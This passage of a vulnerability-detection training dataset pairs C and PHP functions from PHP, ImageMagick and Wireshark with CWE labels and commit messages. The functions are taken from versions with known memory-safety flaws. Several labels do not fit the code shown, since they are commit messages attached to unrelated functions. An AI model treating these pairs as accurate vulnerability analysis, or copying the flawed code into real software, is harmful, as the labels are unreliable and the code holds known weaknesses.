exist.*/\n\t\t\tcontinue;\n\t\t}\n\t\tif(Z_TYPE_PP(ele_value)!= IS_STRING) {\n\t\t\t/* element value is not a string */\n\t\t\tintl_error_set(NULL, U_ILLEGAL_ARGUMENT_ERROR, \"lookup_loc_range: locale array element is not a string\", 0 TSRMLS_CC);\n\t\t\tLOOKUP_CLEAN_RETURN(NULL);\n\t\t} \n\t\tcur_arr[cur_arr_len*2] = estrndup(Z_STRVAL_PP(ele_value), Z_STRLEN_PP(ele_value));\n\t\tresult = strToMatch(Z_STRVAL_PP(ele_value), cur_arr[cur_arr_len*2]);\n\t\tif(result == 0) {\n\t\t\tintl_error_set(NULL, U_ILLEGAL_ARGUMENT_ERROR, \"lookup_loc_range: unable to canonicalize lang_tag\", 0 TSRMLS_CC);\n\t\t\tLOOKUP_CLEAN_RETURN(NULL);\n\t\t}\n\t\tcur_arr[cur_arr_len*2+1] = Z_STRVAL_PP(ele_value);\n\t\tcur_arr_len++ ; \n\t} /* end of for */\n\n\t/* Canonicalize array elements */\n\tif(canonicalize) {\n\t\tfor(i=0; i 0) {\n\t\tfor(i=0; i< cur_arr_len; i++){ \n\t\t\tif(cur_arr[i*2] != NULL && strlen(cur_arr[i*2]) == saved_pos && strncmp(cur_loc_range, cur_arr[i*2], saved_pos) == 0) {\t\n\t\t\t\t/* Match found */\n\t\t\t\treturn_value = estrdup(canonicalize?cur_arr[i*2]:cur_arr[i*2+1]);\n\t\t\t\tefree(cur_loc_range);\n\t\t\t\tLOOKUP_CLEAN_RETURN(return_value);\n\t\t\t}\n\t\t}\n\t\tsaved_pos = getStrrtokenPos(cur_loc_range, saved_pos);\n\t}\n\n\t/* Match not found */\n\tefree(cur_loc_range);\n\tLOOKUP_CLEAN_RETURN(NULL);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Fix bug #72241: get_icu_value_internal out-of-bounds read'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: PHP_FUNCTION(locale_get_display_name) \n{\n get_icu_disp_value_src_php( DISP_NAME , INTERNAL_FUNCTION_PARAM_PASSTHRU );\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Fix bug #72241: get_icu_value_internal out-of-bounds read'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static inline int unicode_cp_is_allowed(unsigned uni_cp, int document_type)\n{\n\t/* XML 1.0\t\t\t\tHTML 4.01\t\t\tHTML 5\n\t * 0x09..0x0A\t\t\t0x09..0x0A\t\t\t0x09..0x0A\n\t * 0x0D\t\t\t\t\t0x0D\t\t\t\t0x0C..0x0D\n\t * 0x0020..0xD7FF\t\t0x20..0x7E\t\t\t0x20..0x7E\n\t *\t\t\t\t\t\t0x00A0..0xD7FF\t\t0x00A0..0xD7FF\n\t * 0xE000..0xFFFD\t\t0xE000..0x10FFFF\t0xE000..0xFDCF\n\t * 0x010000..0x10FFFF\t\t\t\t\t\t0xFDF0..0x10FFFF (*)\n\t *\n\t * (*) exclude code points where ((code & 0xFFFF) >= 0xFFFE)\n\t *\n\t * References:\n\t * XML 1.0: \n\t * HTML 4.01: \n\t * HTML 5: \n\t *\n\t * Not sure this is the relevant part for HTML 5, though. I opted to\n\t * disallow the characters that would result in a parse error when\n\t * preprocessing of the input stream. See also section 8.1.3.\n\t * \n\t * It's unclear if XHTML 1.0 allows C1 characters. I'll opt to apply to\n\t * XHTML 1.0 the same rules as for XML 1.0.\n\t * See .\n\t */\n\n\tswitch (document_type) {\n\tcase ENT_HTML_DOC_HTML401:\n\t\treturn (uni_cp >= 0x20 && uni_cp <= 0x7E) ||\n\t\t\t(uni_cp == 0x0A || uni_cp == 0x09 || uni_cp == 0x0D) ||\n\t\t\t(uni_cp >= 0xA0 && uni_cp <= 0xD7FF) ||\n\t\t\t(uni_cp >= 0xE000 && uni_cp <= 0x10FFFF);\n\tcase ENT_HTML_DOC_HTML5:\n\t\treturn (uni_cp >= 0x20 && uni_cp <= 0x7E) ||\n\t\t\t(uni_cp >= 0x09 && uni_cp <= 0x0D && uni_cp != 0x0B) || /* form feed U+0C allowed */\n\t\t\t(uni_cp >= 0xA0 && uni_cp <= 0xD7FF) ||\n\t\t\t(uni_cp >= 0xE000 && uni_cp <= 0x10FFFF &&\n\t\t\t\t((uni_cp & 0xFFFF) < 0xFFFE) && /* last two of each plane (nonchars) disallowed */\n\t\t\t\t(uni_cp < 0xFDD0 || uni_cp > 0xFDEF)); /* U+FDD0-U+FDEF (nonchars) disallowed */\n\tcase ENT_HTML_DOC_XHTML:\n\tcase ENT_HTML_DOC_XML1:\n\t\treturn (uni_cp >= 0x20 && uni_cp <= 0xD7FF) ||\n\t\t\t(uni_cp == 0x0A || uni_cp == 0x09 || uni_cp == 0x0D) ||\n\t\t\t(uni_cp >= 0xE000 && uni_cp <= 0x10FFFF && uni_cp != 0xFFFE && uni_cp != 0xFFFF);\n\tdefault:\n\t\treturn 1;\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'Fix bug #72135 - don't create strings with lengths outside int range'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: PHP_MINIT_FUNCTION(filter)\n{\n\tZEND_INIT_MODULE_GLOBALS(filter, php_filter_init_globals, NULL);\n\n\tREGISTER_INI_ENTRIES();\n\n\tREGISTER_LONG_CONSTANT(\"INPUT_POST\",\tPARSE_POST, \tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"INPUT_GET\",\t\tPARSE_GET,\t\tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"INPUT_COOKIE\",\tPARSE_COOKIE, \tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"INPUT_ENV\",\t\tPARSE_ENV,\t\tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"INPUT_SERVER\",\tPARSE_SERVER, \tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"INPUT_SESSION\", PARSE_SESSION, \tCONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"INPUT_REQUEST\", PARSE_REQUEST, \tCONST_CS | CONST_PERSISTENT);\n\n\tREGISTER_LONG_CONSTANT(\"FILTER_FLAG_NONE\", FILTER_FLAG_NONE, CONST_CS | CONST_PERSISTENT);\n\n\tREGISTER_LONG_CONSTANT(\"FILTER_REQUIRE_SCALAR\", FILTER_REQUIRE_SCALAR, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_REQUIRE_ARRAY\", FILTER_REQUIRE_ARRAY, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_FORCE_ARRAY\", FILTER_FORCE_ARRAY, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_NULL_ON_FAILURE\", FILTER_NULL_ON_FAILURE, CONST_CS | CONST_PERSISTENT);\n\n\tREGISTER_LONG_CONSTANT(\"FILTER_VALIDATE_INT\", FILTER_VALIDATE_INT, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_VALIDATE_BOOLEAN\", FILTER_VALIDATE_BOOLEAN, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_VALIDATE_FLOAT\", FILTER_VALIDATE_FLOAT, CONST_CS | CONST_PERSISTENT);\n\n\tREGISTER_LONG_CONSTANT(\"FILTER_VALIDATE_REGEXP\", FILTER_VALIDATE_REGEXP, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_VALIDATE_URL\", FILTER_VALIDATE_URL, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_VALIDATE_EMAIL\", FILTER_VALIDATE_EMAIL, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_VALIDATE_IP\", FILTER_VALIDATE_IP, CONST_CS | CONST_PERSISTENT);\n\n\tREGISTER_LONG_CONSTANT(\"FILTER_DEFAULT\", FILTER_DEFAULT, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_UNSAFE_RAW\", FILTER_UNSAFE_RAW, CONST_CS | CONST_PERSISTENT);\n\n\tREGISTER_LONG_CONSTANT(\"FILTER_SANITIZE_STRING\", FILTER_SANITIZE_STRING, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_SANITIZE_STRIPPED\", FILTER_SANITIZE_STRING, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_SANITIZE_ENCODED\", FILTER_SANITIZE_ENCODED, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_SANITIZE_SPECIAL_CHARS\", FILTER_SANITIZE_SPECIAL_CHARS, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_SANITIZE_EMAIL\", FILTER_SANITIZE_EMAIL, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_SANITIZE_URL\", FILTER_SANITIZE_URL, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_SANITIZE_NUMBER_INT\", FILTER_SANITIZE_NUMBER_INT, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_SANITIZE_NUMBER_FLOAT\", FILTER_SANITIZE_NUMBER_FLOAT, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_SANITIZE_MAGIC_QUOTES\", FILTER_SANITIZE_MAGIC_QUOTES, CONST_CS | CONST_PERSISTENT);\n\n\tREGISTER_LONG_CONSTANT(\"FILTER_CALLBACK\", FILTER_CALLBACK, CONST_CS | CONST_PERSISTENT);\n\n\tREGISTER_LONG_CONSTANT(\"FILTER_FLAG_ALLOW_OCTAL\", FILTER_FLAG_ALLOW_OCTAL, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_FLAG_ALLOW_HEX\", FILTER_FLAG_ALLOW_HEX, CONST_CS | CONST_PERSISTENT);\n\n\tREGISTER_LONG_CONSTANT(\"FILTER_FLAG_STRIP_LOW\", FILTER_FLAG_STRIP_LOW, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_FLAG_STRIP_HIGH\", FILTER_FLAG_STRIP_HIGH, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_FLAG_STRIP_BACKTICK\", FILTER_FLAG_STRIP_BACKTICK, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_FLAG_ENCODE_LOW\", FILTER_FLAG_ENCODE_LOW, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_FLAG_ENCODE_HIGH\", FILTER_FLAG_ENCODE_HIGH, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_FLAG_ENCODE_AMP\", FILTER_FLAG_ENCODE_AMP, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_FLAG_NO_ENCODE_QUOTES\", FILTER_FLAG_NO_ENCODE_QUOTES, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_FLAG_EMPTY_STRING_NULL\", FILTER_FLAG_EMPTY_STRING_NULL, CONST_CS | CONST_PERSISTENT);\n\n\tREGISTER_LONG_CONSTANT(\"FILTER_FLAG_ALLOW_FRACTION\", FILTER_FLAG_ALLOW_FRACTION, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_FLAG_ALLOW_THOUSAND\", FILTER_FLAG_ALLOW_THOUSAND, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_FLAG_ALLOW_SCIENTIFIC\", FILTER_FLAG_ALLOW_SCIENTIFIC, CONST_CS | CONST_PERSISTENT);\n\n\tREGISTER_LONG_CONSTANT(\"FILTER_FLAG_SCHEME_REQUIRED\", FILTER_FLAG_SCHEME_REQUIRED, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_FLAG_HOST_REQUIRED\", FILTER_FLAG_HOST_REQUIRED, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_FLAG_PATH_REQUIRED\", FILTER_FLAG_PATH_REQUIRED, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_FLAG_QUERY_REQUIRED\", FILTER_FLAG_QUERY_REQUIRED, CONST_CS | CONST_PERSISTENT);\n\n\tREGISTER_LONG_CONSTANT(\"FILTER_FLAG_IPV4\", FILTER_FLAG_IPV4, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_FLAG_IPV6\", FILTER_FLAG_IPV6, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_FLAG_NO_RES_RANGE\", FILTER_FLAG_NO_RES_RANGE, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"FILTER_FLAG_NO_PRIV_RANGE\", FILTER_FLAG_NO_PRIV_RANGE, CONST_CS | CONST_PERSISTENT);\n\n\tsapi_register_input_filter(php_sapi_filter, php_sapi_filter_init);\n\n\treturn SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'full_special_chars filter from trunk - approved by johannes'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: MagickExport MagickBooleanType DrawPrimitive(Image *image,\n const DrawInfo *draw_info,const PrimitiveInfo *primitive_info,\n ExceptionInfo *exception)\n{\n CacheView\n *image_view;\n\n MagickStatusType\n status;\n\n register ssize_t\n i,\n x;\n\n ssize_t\n y;\n\n if (image->debug != MagickFalse)\n {\n (void) LogMagickEvent(DrawEvent,GetMagickModule(),\n \" begin draw-primitive\");\n (void) LogMagickEvent(DrawEvent,GetMagickModule(),\n \" affine: %g %g %g %g %g %g\",draw_info->affine.sx,\n draw_info->affine.rx,draw_info->affine.ry,draw_info->affine.sy,\n draw_info->affine.tx,draw_info->affine.ty);\n }\n if ((IsGrayColorspace(image->colorspace) != MagickFalse) &&\n ((IsPixelInfoGray(&draw_info->fill) == MagickFalse) ||\n (IsPixelInfoGray(&draw_info->stroke) == MagickFalse)))\n (void) SetImageColorspace(image,sRGBColorspace,exception);\n status=MagickTrue;\n x=(ssize_t) ceil(primitive_info->point.x-0.5);\n y=(ssize_t) ceil(primitive_info->point.y-0.5);\n image_view=AcquireAuthenticCacheView(image,exception);\n switch (primitive_info->primitive)\n {\n case AlphaPrimitive:\n {\n if (image->alpha_trait == UndefinedPixelTrait)\n (void) SetImageAlphaChannel(image,OpaqueAlphaChannel,exception);\n switch (primitive_info->method)\n {\n case PointMethod:\n default:\n {\n PixelInfo\n pixel;\n\n register Quantum\n *q;\n\n q=GetCacheViewAuthenticPixels(image_view,x,y,1,1,exception);\n if (q == (Quantum *) NULL)\n break;\n GetFillColor(draw_info,x,y,&pixel,exception);\n SetPixelAlpha(image,ClampToQuantum(pixel.alpha),q);\n (void) SyncCacheViewAuthenticPixels(image_view,exception);\n break;\n }\n case ReplaceMethod:\n {\n MagickBooleanType\n sync;\n\n PixelInfo\n pixel,\n target;\n\n (void) GetOneCacheViewVirtualPixelInfo(image_view,x,y,&target,\n exception);\n GetPixelInfo(image,&pixel);\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n register Quantum\n *magick_restrict q;\n\n q=GetCacheViewAuthenticPixels(image_view,0,y,image->columns,1,\n exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n GetPixelInfoPixel(image,q,&pixel);\n if (IsFuzzyEquivalencePixelInfo(&pixel,&target) == MagickFalse)\n {\n q+=GetPixelChannels(image);\n continue;\n }\n GetFillColor(draw_info,x,y,&pixel,exception);\n SetPixelAlpha(image,ClampToQuantum(pixel.alpha),q);\n q+=GetPixelChannels(image);\n }\n sync=SyncCacheViewAuthenticPixels(image_view,exception);\n if (sync == MagickFalse)\n break;\n }\n break;\n }\n case FloodfillMethod:\n case FillToBorderMethod:\n {\n ChannelType\n channel_mask;\n\n PixelInfo\n target;\n\n (void) GetOneVirtualPixelInfo(image,TileVirtualPixelMethod,x,y,\n &target,exception);\n if (primitive_info->method == FillToBorderMethod)\n {\n target.red=(double) draw_info->border_color.red;\n target.green=(double) draw_info->border_color.green;\n target.blue=(double) draw_info->border_color.blue;\n }\n channel_mask=SetImageChannelMask(image,AlphaChannel);\n status&=FloodfillPaintImage(image,draw_info,&target,x,y,\n primitive_info->method == FloodfillMethod ? MagickFalse :\n MagickTrue,exception);\n (void) SetImageChannelMask(image,channel_mask);\n break;\n }\n case ResetMethod:\n {\n MagickBooleanType\n sync;\n\n PixelInfo\n pixel;\n\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n register Quantum\n *magick_restrict q;\n\n q=GetCacheViewAuthenticPixels(image_view,0,y,image->columns,1,\n exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n GetFillColor(draw_info,x,y,&pixel,exception);\n SetPixelAlpha(image,ClampToQuantum(pixel.alpha),q);\n q+=GetPixelChannels(image);\n }\n sync=SyncCacheViewAuthenticPixels(image_view,exception);\n if (sync == MagickFalse)\n break;\n }\n break;\n }\n }\n break;\n }\n case ColorPrimitive:\n {\n switch (primitive_info->method)\n {\n case PointMethod:\n default:\n {\n PixelInfo\n pixel;\n\n register Quantum\n *q;\n\n q=GetCacheViewAuthenticPixels(image_view,x,y,1,1,exception);\n if (q == (Quantum *) NULL)\n break;\n GetPixelInfo(image,&pixel);\n GetFillColor(draw_info,x,y,&pixel,exception);\n SetPixelViaPixelInfo(image,&pixel,q);\n (void) SyncCacheViewAuthenticPixels(image_view,exception);\n break;\n }\n case ReplaceMethod:\n {\n MagickBooleanType\n sync;\n\n PixelInfo\n pixel,\n target;\n\n (void) GetOneCacheViewVirtualPixelInfo(image_view,x,y,&target,\n exception);\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n register Quantum\n *magick_restrict q;\n\n q=GetCacheViewAuthenticPixels(image_view,0,y,image->columns,1,\n exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n GetPixelInfoPixel(image,q,&pixel);\n if (IsFuzzyEquivalencePixelInfo(&pixel,&target) == MagickFalse)\n {\n q+=GetPixelChannels(image);\n continue;\n }\n GetFillColor(draw_info,x,y,&pixel,exception);\n SetPixelViaPixelInfo(image,&pixel,q);\n q+=GetPixelChannels(image);\n }\n sync=SyncCacheViewAuthenticPixels(image_view,exception);\n if (sync == MagickFalse)\n break;\n }\n break;\n }\n case FloodfillMethod:\n case FillToBorderMethod:\n {\n PixelInfo\n target;\n\n (void) GetOneVirtualPixelInfo(image,TileVirtualPixelMethod,x,y,\n &target,exception);\n if (primitive_info->method == FillToBorderMethod)\n {\n target.red=(double) draw_info->border_color.red;\n target.green=(double) draw_info->border_color.green;\n target.blue=(double) draw_info->border_color.blue;\n }\n status&=FloodfillPaintImage(image,draw_info,&target,x,y,\n primitive_info->method == FloodfillMethod ? MagickFalse :\n MagickTrue,exception);\n break;\n }\n case ResetMethod:\n {\n MagickBooleanType\n sync;\n\n PixelInfo\n pixel;\n\n GetPixelInfo(image,&pixel);\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n register Quantum\n *magick_restrict q;\n\n q=GetCacheViewAuthenticPixels(image_view,0,y,image->columns,1,\n exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n GetFillColor(draw_info,x,y,&pixel,exception);\n SetPixelViaPixelInfo(image,&pixel,q);\n q+=GetPixelChannels(image);\n }\n sync=SyncCacheViewAuthenticPixels(image_view,exception);\n if (sync == MagickFalse)\n break;\n }\n break;\n }\n }\n break;\n }\n case ImagePrimitive:\n {\n AffineMatrix\n affine;\n\n char\n composite_geometry[MagickPathExtent];\n\n Image\n *composite_image;\n\n ImageInfo\n *clone_info;\n\n RectangleInfo\n geometry;\n\n ssize_t\n x1,\n y1;\n\n if (primitive_info->text == (char *) NULL)\n break;\n clone_info=AcquireImageInfo();\n if (LocaleNCompare(primitive_info->text,\"data:\",5) == 0)\n composite_image=ReadInlineImage(clone_info,primitive_info->text,\n exception);\n else\n {\n (void) CopyMagickString(clone_info->filename,primitive_info->text,\n MagickPathExtent);\n composite_image=ReadImage(clone_info,exception);\n }\n clone_info=DestroyImageInfo(clone_info);\n if (composite_image == (Image *) NULL)\n break;\n (void) SetImageProgressMonitor(composite_image,(MagickProgressMonitor)\n NULL,(void *) NULL);\n x1=(ssize_t) ceil(primitive_info[1].point.x-0.5);\n y1=(ssize_t) ceil(primitive_info[1].point.y-0.5);\n if (((x1 != 0L) && (x1 != (ssize_t) composite_image->columns)) ||\n ((y1 != 0L) && (y1 != (ssize_t) composite_image->rows)))\n {\n /*\n Resize image.\n */\n (void) FormatLocaleString(composite_geometry,MagickPathExtent,\n \"%gx%g!\",primitive_info[1].point.x,primitive_info[1].point.y);\n composite_image->filter=image->filter;\n (void) TransformImage(&composite_image,(char *) NULL,\n composite_geometry,exception);\n }\n if (composite_image->alpha_trait == UndefinedPixelTrait)\n (void) SetImageAlphaChannel(composite_image,OpaqueAlphaChannel,\n exception);\n if (draw_info->alpha != OpaqueAlpha)\n (void) SetImageAlpha(composite_image,draw_info->alpha,exception);\n SetGeometry(image,&geometry);\n image->gravity=draw_info->gravity;\n geometry.x=x;\n geometry.y=y;\n (void) FormatLocaleString(composite_geometry,MagickPathExtent,\n \"%.20gx%.20g%+.20g%+.20g\",(double) composite_image->columns,(double)\n composite_image->rows,(double) geometry.x,(double) geometry.y);\n (void) ParseGravityGeometry(image,composite_geometry,&geometry,exception);\n affine=draw_info->affine;\n affine.tx=(double) geometry.x;\n affine.ty=(double) geometry.y;\n composite_image->interpolate=image->interpolate;\n if (draw_info->compose == OverCompositeOp)\n (void) DrawAffineImage(image,composite_image,&affine,exception);\n else\n (void) CompositeImage(image,composite_image,draw_info->compose,\n MagickTrue,geometry.x,geometry.y,exception);\n composite_image=DestroyImage(composite_image);\n break;\n }\n case PointPrimitive:\n {\n PixelInfo\n fill_color;\n\n register Quantum\n *q;\n\n if ((y < 0) || (y >= (ssize_t) image->rows))\n break;\n if ((x < 0) || (x >= (ssize_t) image->columns))\n break;\n q=GetCacheViewAuthenticPixels(image_view,x,y,1,1,exception);\n if (q == (Quantum *) NULL)\n break;\n GetFillColor(draw_info,x,y,&fill_color,exception);\n CompositePixelOver(image,&fill_color,(double) fill_color.alpha,q,\n (double) GetPixelAlpha(image,q),q);\n (void) SyncCacheViewAuthenticPixels(image_view,exception);\n break;\n }\n case TextPrimitive:\n {\n char\n geometry[MagickPathExtent];\n\n DrawInfo\n *clone_info;\n\n if (primitive_info->text == (char *) NULL)\n break;\n clone_info=CloneDrawInfo((ImageInfo *) NULL,draw_info);\n (void) CloneString(&clone_info->text,primitive_info->text);\n (void) FormatLocaleString(geometry,MagickPathExtent,\"%+f%+f\",\n primitive_info->point.x,primitive_info->point.y);\n (void) CloneString(&clone_info->geometry,geometry);\n status&=AnnotateImage(image,clone_info,exception);\n clone_info=DestroyDrawInfo(clone_info);\n break;\n }\n default:\n {\n double\n mid,\n scale;\n\n DrawInfo\n *clone_info;\n\n if (IsEventLogging() != MagickFalse)\n LogPrimitiveInfo(primitive_info);\n scale=ExpandAffine(&draw_info->affine);\n if ((draw_info->dash_pattern != (double *) NULL) &&\n (draw_info->dash_pattern[0] != 0.0) &&\n ((scale*draw_info->stroke_width) >= MagickEpsilon) &&\n (draw_info->stroke.alpha != (Quantum) TransparentAlpha))\n {\n /*\n Draw dash polygon.\n */\n clone_info=CloneDrawInfo((ImageInfo *) NULL,draw_info);\n clone_info->stroke_width=0.0;\n clone_info->stroke.alpha=(Quantum) TransparentAlpha;\n status&=DrawPolygonPrimitive(image,clone_info,primitive_info,\n exception);\n clone_info=DestroyDrawInfo(clone_info);\n (void) DrawDashPolygon(draw_info,primitive_info,image,exception);\n break;\n }\n mid=ExpandAffine(&draw_info->affine)*draw_info->stroke_width/2.0;\n if ((mid > 1.0) &&\n ((draw_info->stroke.alpha != (Quantum) TransparentAlpha) ||\n (draw_info->stroke_pattern != (Image *) NULL)))\n {\n MagickBooleanType\n closed_path;\n\n /*\n Draw strokes while respecting line cap/join attributes.\n */\n for (i=0; primitive_info[i].primitive != UndefinedPrimitive; i++) ;\n closed_path=\n (primitive_info[i-1].point.x == primitive_info[0].point.x) &&\n (primitive_info[i-1].point.y == primitive_info[0].point.y) ?\n MagickTrue : MagickFalse;\n i=(ssize_t) primitive_info[0].coordinates;\n if ((((draw_info->linecap == RoundCap) ||\n (closed_path != MagickFalse)) &&\n (draw_info->linejoin == RoundJoin)) ||\n (primitive_info[i].primitive != UndefinedPrimitive))\n {\n (void) DrawPolygonPrimitive(image,draw_info,primitive_info,\n exception);\n break;\n }\n clone_info=CloneDrawInfo((ImageInfo *) NULL,draw_info);\n clone_info->stroke_width=0.0;\n clone_info->stroke.alpha=(Quantum) TransparentAlpha;\n status&=DrawPolygonPrimitive(image,clone_info,primitive_info,\n exception);\n clone_info=DestroyDrawInfo(clone_info);\n status&=DrawStrokePolygon(image,draw_info,primitive_info,exception);\n break;\n }\n status&=DrawPolygonPrimitive(image,draw_info,primitive_info,exception);\n break;\n }\n }\n image_view=DestroyCacheView(image_view);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(DrawEvent,GetMagickModule(),\" end draw-primitive\");\n return(status != 0 ? MagickTrue : MagickFalse);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399', 'CWE-119'], 'message': 'Prevent buffer overflow in magick/draw.c'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: dissect_spoolss_uint16uni(tvbuff_t *tvb, int offset, packet_info *pinfo _U_,\n\t\t\t proto_tree *tree, guint8 *drep _U_, char **data,\n\t\t\t int hf_name)\n{\n\tgint len, remaining;\n\tchar *text;\n\n\tif (offset % 2)\n\t\toffset += 2 - (offset % 2);\n\n\t/* Get remaining data in buffer as a string */\n\n\tremaining = tvb_captured_length_remaining(tvb, offset);\n\tif (remaining <= 0) {\n\t\tif (data)\n\t\t\t*data = g_strdup(\"\");\n\t\treturn offset;\n\t}\n\n\ttext = tvb_get_string_enc(NULL, tvb, offset, remaining, ENC_UTF_16|ENC_LITTLE_ENDIAN);\n\tlen = (int)strlen(text);\n\n\tproto_tree_add_string(tree, hf_name, tvb, offset, len * 2, text);\n\n\tif (data)\n\t\t*data = text;\n\telse\n\t\tg_free(text);\n\n\treturn offset + (len + 1) * 2;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'SPOOLSS: Try to avoid an infinite loop.\n\nUse tvb_reported_length_remaining in dissect_spoolss_uint16uni. Make\nsure our offset always increments in dissect_spoolss_keybuffer.\n\nChange-Id: I7017c9685bb2fa27161d80a03b8fca4ef630e793\nReviewed-on: https://code.wireshark.org/review/14687\nReviewed-by: Gerald Combs \nPetri-Dish: Gerald Combs \nTested-by: Petri Dish Buildbot \nReviewed-by: Michael Mann '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: parse_toshiba_packet(FILE_T fh, struct wtap_pkthdr *phdr, Buffer *buf,\n int *err, gchar **err_info)\n{\n\tunion wtap_pseudo_header *pseudo_header = &phdr->pseudo_header;\n\tchar\tline[TOSHIBA_LINE_LENGTH];\n\tint\tnum_items_scanned;\n\tint\tpkt_len, pktnum, hr, min, sec, csec;\n\tchar\tchannel[10], direction[10];\n\tint\ti, hex_lines;\n\tguint8\t*pd;\n\n\t/* Our file pointer should be on the line containing the\n\t * summary information for a packet. Read in that line and\n\t * extract the useful information\n\t */\n\tif (file_gets(line, TOSHIBA_LINE_LENGTH, fh) == NULL) {\n\t\t*err = file_error(fh, err_info);\n\t\tif (*err == 0) {\n\t\t\t*err = WTAP_ERR_SHORT_READ;\n\t\t}\n\t\treturn FALSE;\n\t}\n\n\t/* Find text in line after \"[No.\". Limit the length of the\n\t * two strings since we have fixed buffers for channel[] and\n\t * 